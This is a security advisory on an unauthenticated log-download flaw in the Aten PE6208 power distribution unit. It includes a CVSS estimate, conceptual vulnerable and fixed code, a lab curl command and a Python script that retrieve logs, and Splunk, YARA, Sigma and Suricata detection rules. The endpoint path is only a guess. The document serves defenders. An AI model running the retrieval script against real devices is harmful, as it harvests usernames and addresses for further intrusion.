CVE-2023-43846

Executive Summary

CVE-2023-43846 exposes a critical access control vulnerability in the Aten PE6208 Power Distribution Unit (PDU). The web interface's logs management function lacks proper authentication, allowing any remote attacker to retrieve sensitive device logs via a simple HTTP GET request. These logs contain usernames and IP addresses, providing attackers with reconnaissance data to pivot deeper into the infrastructure. The vendor has not released a patch, making this a high-risk, unpatched vulnerability for all affected firmware versions.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, the vulnerability can be assessed as follows:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – requires only a GET request.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – affects only the vulnerable component.
• Confidentiality (C): High (H) – logs contain sensitive user/IP data.
• Integrity (I): None (N) – no data modification.
• Availability (A): None (N) – no denial of service.

Estimated CVSS Score: 7.5 (High) – based on AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.

Threat Level: High. The ease of exploitation and lack of patch make this a prime target for initial reconnaissance in targeted attacks.

Deep Dive & Mechanics

The vulnerability resides in the web-based management interface of the Aten PE6208 PDU. The logs management endpoint does not enforce any access control checks. By sending an HTTP GET request to the log retrieval URL, an attacker can download the device's log file without any authentication.

Root Cause: The web server fails to validate the user's session or identity before serving the log file. This is a classic case of missing authorization (CWE-284).

Attack Flow:

1. Attacker identifies an Aten PE6208 device exposed to the internet (e.g., via Shodan).
2. Attacker sends a GET request to the log endpoint (e.g., /cgi-bin/log_download.cgi or similar).
3. The server returns the log file containing usernames, IP addresses, timestamps, and other operational data.
4. Attacker uses this information to map the network, identify user accounts, and plan further attacks (e.g., credential stuffing, lateral movement).

Impact: The leaked logs provide a blueprint of the network infrastructure, enabling targeted attacks against users and systems.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable behavior.

Vulnerable Code (Conceptual):

# Example of vulnerable CGI script (log_download.cgi)
import cgi, os

def handle_request():
    # No authentication check
    log_path = "/var/log/device.log"
    if os.path.exists(log_path):
        with open(log_path, 'r') as f:
            print("Content-Type: text/plain")
            print()
            print(f.read())
    else:
        print("Status: 404 Not Found")

Patched Code (Conceptual):

# Example of patched CGI script (log_download.cgi)
import cgi, os

def handle_request():
    # Authentication check
    session = cgi.FieldStorage().getvalue('session')
    if not session or not validate_session(session):
        print("Status: 403 Forbidden")
        print("Content-Type: text/plain")
        print()
        print("Access Denied")
        return

    log_path = "/var/log/device.log"
    if os.path.exists(log_path):
        with open(log_path, 'r') as f:
            print("Content-Type: text/plain")
            print()
            print(f.read())
    else:
        print("Status: 404 Not Found")

The patched version adds a session validation step before serving the log file.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy an Aten PE6208 with firmware 2.3.228 or 2.4.232 in an isolated network.
2. Ensure the web interface is accessible (default IP: 192.168.1.100).
3. Generate some logs by logging in and performing actions.

Exploitation Steps:

1. Identify the log download endpoint (e.g., /cgi-bin/log_download.cgi).
2. Send a GET request without any authentication:

   curl http://192.168.1.100/cgi-bin/log_download.cgi
   

3. The server returns the log file content:

   [2023-10-01 12:00:00] User: admin logged in from 10.0.0.5
   [2023-10-01 12:05:00] User: operator logged in from 10.0.0.10
   [2023-10-01 12:10:00] User: admin logged out
   

4. Parse the logs to extract usernames and IP addresses for further attacks.

Automation Script:

import requests

target = "http://192.168.1.100"
log_endpoint = "/cgi-bin/log_download.cgi"

response = requests.get(target + log_endpoint)
if response.status_code == 200:
    print("Logs retrieved successfully:")
    print(response.text)
else:
    print(f"Failed: {response.status_code}")

Blue Team

Detection Steps:

1. Monitor for unusual GET requests to log endpoints without prior authentication.
2. Check for repeated access to /cgi-bin/log_download.cgi from unknown IPs.
3. Correlate with failed login attempts (if any) to identify reconnaissance.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/cgi-bin/log_download.cgi"
| stats count by src_ip, user_agent
| where count > 1

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /cgi-bin/log_download.cgi without a session cookie.
  • Source IPs scanning for Aten PE6208 devices (common ports: 80, 443, 161).
• File IOCs:
  • Log file content containing usernames and IP addresses (e.g., User: admin logged in from 10.0.0.5).
• Behavioral IOCs:
  • Unauthenticated access to the web interface followed by log download.
  • Multiple failed login attempts after log retrieval (credential stuffing).

Detection Engineering

YARA Rule

rule CVE_2023_43846_Aten_Log_Leak {
    meta:
        description = "Detects log files from Aten PE6208 PDU containing user/IP data"
        author = "Valters IT"
        date = "2023-10-01"
        reference = "CVE-2023-43846"
    strings:
        $user_pattern = /User:\s+\w+\s+logged\s+(in|out)\s+from\s+\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/
        $log_header = "Aten PE6208 Log"
    condition:
        $user_pattern or $log_header
}

Sigma Rule

title: Unauthenticated Log Download on Aten PE6208
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP GET requests to the log download endpoint without authentication
author: Valters IT
date: 2023/10/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43846
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/cgi-bin/log_download.cgi'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin access (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2023-43846 - Aten PE6208 Unauthenticated Log Download";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/cgi-bin/log_download.cgi"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict Network Access: Place the Aten PE6208 behind a firewall and allow access only from trusted IPs (e.g., management VLAN).
2. Disable Web Interface: If not needed, disable the web interface entirely and use CLI/SNMP for management.
3. Monitor Logs: Enable logging of all access to the web interface and review for suspicious activity.

Long-Term Fix:

• Since no vendor patch exists, consider replacing the device with a patched alternative or implementing a reverse proxy with authentication (e.g., nginx with basic auth) in front of the PDU.

Workaround:

• Use a WAF rule to block requests to /cgi-bin/log_download.cgi from untrusted sources.

Valters IT